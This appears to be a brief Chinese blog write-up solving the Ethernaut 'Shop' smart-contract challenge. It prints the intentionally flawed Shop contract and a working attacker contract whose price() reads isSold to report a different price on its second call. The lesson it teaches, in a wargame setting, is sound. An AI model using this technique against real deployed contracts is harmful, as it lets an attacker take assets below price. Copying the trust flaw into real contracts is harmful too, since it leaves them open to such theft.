Ethernaut - Shop

| Ethernaut | 780 | 2分钟 | 以太坊智能合约Ethernaut

花更少的前买东西。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint256);
}

contract Shop {
    uint256 public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}

这跟上次一样啊?第一次调用返回1000,第二次调用返回100;

噢,等等,这次设置了 price 是 view 函数,不能修改状态。

但是也有办法,我们可以看gas来判断是第一次还是第二次。

又想复杂了,shop的isSold是public 的……

pragma solidity ^0.8.0;


interface IShop {
    function isSold() external view returns (bool);
    function buy() external;
}

contract Buyer {
    address levelInstance;

    constructor(address _levelInstance) {
        levelInstance = _levelInstance;
    }

    function price() public view returns (uint256) {
        return IShop(msg.sender).isSold() ? 0 : 100;
    }

    function buy() public {
        IShop(levelInstance).buy();
    }
}